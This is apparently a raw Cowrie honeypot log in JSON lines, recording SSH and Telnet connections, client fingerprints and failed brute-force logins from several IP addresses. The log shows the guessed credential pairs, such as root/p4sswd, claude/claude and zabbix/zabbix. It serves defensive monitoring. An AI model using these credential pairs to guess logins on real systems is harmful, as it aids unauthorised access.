{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:31:51.497286Z","src_ip":"43.153.7.148","session":"472f2c682848","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p4sswd","message":"login attempt [root/p4sswd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:31:51.804799Z","src_ip":"43.153.7.148","session":"472f2c682848","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:31:52.877246Z","src_ip":"43.153.7.148","session":"472f2c682848","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49270,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa92314f422c","protocol":"telnet","message":"New connection: 192.119.13.58:49270 (10.17.0.5:23) [session: fa92314f422c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:09.793836Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60850,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f197aee899b","protocol":"telnet","message":"New connection: 192.119.13.58:60850 (10.17.0.5:23) [session: 5f197aee899b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:12.725212Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38480,"dst_ip":"10.17.0.5","dst_port":23,"session":"d579a1abcb92","protocol":"telnet","message":"New connection: 192.119.13.58:38480 (10.17.0.5:23) [session: d579a1abcb92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:14.229139Z"}
{"eventid":"cowrie.session.closed","duration":38.907848596572876,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:15.566722Z","src_ip":"192.119.13.58","session":"88b81a8cdcde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.89330792427063,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:17.115852Z","src_ip":"192.119.13.58","session":"100b7f09c446","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58204,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b48a5d916e8","protocol":"telnet","message":"New connection: 192.119.13.58:58204 (10.17.0.5:23) [session: 1b48a5d916e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:19.364286Z"}
{"eventid":"cowrie.session.closed","duration":36.70401358604431,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:21.900012Z","src_ip":"192.119.13.58","session":"da7f93fb4408","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42782,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ecd9fc56425","protocol":"telnet","message":"New connection: 192.119.13.58:42782 (10.17.0.5:23) [session: 8ecd9fc56425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:22.578027Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44382,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d09c57af221","protocol":"telnet","message":"New connection: 192.119.13.58:44382 (10.17.0.5:23) [session: 8d09c57af221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:22.892920Z"}
{"eventid":"cowrie.session.closed","duration":0.005514860153198242,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:22.898283Z","src_ip":"192.119.13.58","session":"8d09c57af221","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.66601848602295,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:24.243243Z","src_ip":"192.119.13.58","session":"7d5e4d6c28d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.04530334472656,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:28.835524Z","src_ip":"192.119.13.58","session":"043a1d4567b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.7.148","src_port":36998,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac66062abee1","protocol":"ssh","message":"New connection: 43.153.7.148:36998 (159.203.135.109:22) [session: ac66062abee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:30.504670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:30.509959Z","src_ip":"43.153.7.148","session":"ac66062abee1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:30.581259Z","src_ip":"43.153.7.148","session":"ac66062abee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:30.892708Z","src_ip":"43.153.7.148","session":"ac66062abee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:31.967954Z","src_ip":"43.153.7.148","session":"ac66062abee1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":47600,"dst_ip":"10.17.0.5","dst_port":22,"session":"a75761c3c373","protocol":"ssh","message":"New connection: 37.233.85.71:47600 (10.17.0.5:22) [session: a75761c3c373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:32.962668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:32.968105Z","src_ip":"37.233.85.71","session":"a75761c3c373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:33.068501Z","src_ip":"37.233.85.71","session":"a75761c3c373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"timosha","message":"login attempt [root/timosha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:33.382301Z","src_ip":"37.233.85.71","session":"a75761c3c373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:34.486205Z","src_ip":"37.233.85.71","session":"a75761c3c373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50202,"dst_ip":"10.17.0.5","dst_port":23,"session":"523a597390bb","protocol":"telnet","message":"New connection: 192.119.13.58:50202 (10.17.0.5:23) [session: 523a597390bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:38.224382Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40564,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0bc7263c7c0","protocol":"telnet","message":"New connection: 192.119.13.58:40564 (10.17.0.5:23) [session: a0bc7263c7c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:42.906270Z"}
{"eventid":"cowrie.session.closed","duration":35.02902841567993,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:47.754112Z","src_ip":"192.119.13.58","session":"5f197aee899b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46500,"dst_ip":"10.17.0.5","dst_port":23,"session":"61bf13bd6a97","protocol":"telnet","message":"New connection: 192.119.13.58:46500 (10.17.0.5:23) [session: 61bf13bd6a97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:51.360786Z"}
{"eventid":"cowrie.session.closed","duration":41.3218891620636,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:55.550901Z","src_ip":"192.119.13.58","session":"d579a1abcb92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.319509983062744,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:32:56.113217Z","src_ip":"192.119.13.58","session":"fa92314f422c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.84264326095581,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:02.206770Z","src_ip":"192.119.13.58","session":"1b48a5d916e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.7.148","src_port":35168,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccadf9906d65","protocol":"ssh","message":"New connection: 43.153.7.148:35168 (159.203.135.109:22) [session: ccadf9906d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:09.425930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:09.433665Z","src_ip":"43.153.7.148","session":"ccadf9906d65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:09.501823Z","src_ip":"43.153.7.148","session":"ccadf9906d65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hui123","message":"login attempt [root/hui123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:09.808110Z","src_ip":"43.153.7.148","session":"ccadf9906d65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":56378,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b6c4e16863a","protocol":"ssh","message":"New connection: 103.24.63.85:56378 (159.203.135.109:22) [session: 1b6c4e16863a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:10.088806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:10.093567Z","src_ip":"103.24.63.85","session":"1b6c4e16863a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.55926251411438,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:10.137137Z","src_ip":"192.119.13.58","session":"8ecd9fc56425","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:10.294175Z","src_ip":"103.24.63.85","session":"1b6c4e16863a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:10.879023Z","src_ip":"43.153.7.148","session":"ccadf9906d65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:10.899149Z","src_ip":"103.24.63.85","session":"1b6c4e16863a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:12.108909Z","src_ip":"103.24.63.85","session":"1b6c4e16863a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45780,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3c117c4c2f5","protocol":"telnet","message":"New connection: 192.119.13.58:45780 (10.17.0.5:23) [session: e3c117c4c2f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:19.827806Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47914,"dst_ip":"10.17.0.5","dst_port":23,"session":"d93d6874dd80","protocol":"telnet","message":"New connection: 192.119.13.58:47914 (10.17.0.5:23) [session: d93d6874dd80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:20.328932Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.181.124.9","src_port":46214,"dst_ip":"159.203.135.109","dst_port":22,"session":"09c2c60dc906","protocol":"ssh","message":"New connection: 5.181.124.9:46214 (159.203.135.109:22) [session: 09c2c60dc906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:23.761407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:23.864161Z","src_ip":"5.181.124.9","session":"09c2c60dc906","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:23.962350Z","src_ip":"5.181.124.9","session":"09c2c60dc906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.910441398620605,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:26.816593Z","src_ip":"192.119.13.58","session":"a0bc7263c7c0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nig!1234","message":"login attempt [root/K0nig!1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:26.868248Z","src_ip":"5.181.124.9","session":"09c2c60dc906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:27.966141Z","src_ip":"5.181.124.9","session":"09c2c60dc906","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":47785,"dst_ip":"159.203.135.109","dst_port":23,"session":"19fb4d05f06d","protocol":"telnet","message":"New connection: 186.195.16.41:47785 (159.203.135.109:23) [session: 19fb4d05f06d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:29.431963Z"}
{"eventid":"cowrie.session.closed","duration":52.800177574157715,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:31.024430Z","src_ip":"192.119.13.58","session":"523a597390bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.4827778339386,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:36.843465Z","src_ip":"192.119.13.58","session":"61bf13bd6a97","protocol":"telnet"}
